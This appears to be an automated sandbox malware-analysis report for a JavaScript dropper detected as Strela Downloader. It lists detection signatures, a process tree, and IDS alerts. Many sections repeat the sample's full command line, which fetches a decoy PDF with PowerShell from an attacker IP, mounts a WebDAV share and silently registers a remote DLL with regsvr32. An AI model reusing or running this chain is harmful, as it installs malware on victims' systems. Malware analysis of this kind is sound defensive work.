Edit tour

Windows Analysis Report
244312574730704684.js

Overview

General Information

Sample name:	244312574730704684.js
Analysis ID:	1588868
MD5:	9471eada7d378c006d61227673259df4
SHA1:	e8b2d0bb7fb84afc7a12271d7a28b2f893182b5f
SHA256:	5f9a3e49bf148b4d71ec6ea1fd23f961ce2e9bd71e64af6ddffb0de59efc8cbf
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7352 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7436 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7488 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7672 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7908 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8160 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1644,i,4009595745192856699,11121187004155077926,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7708 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7788 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7980 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7352	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7488, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7488, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js", ProcessId: 7352, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7788, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49768

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7352, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ProcessId: 7436, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7352, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ProcessId: 7436, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7352, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ProcessId: 7436, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7352, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ProcessId: 7436, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7352, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ProcessId: 7436, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js", ProcessId: 7352, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7488, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7708, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7788, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7980, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7708, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7788, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7352, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll, ProcessId: 7436, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:30:36.665641+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49752	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:30:39.282809+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49768	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:30:36.665641+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49752	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 244312574730704684.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 244312574730704684.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49752 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49768 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:30:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49768

Source: global traffic

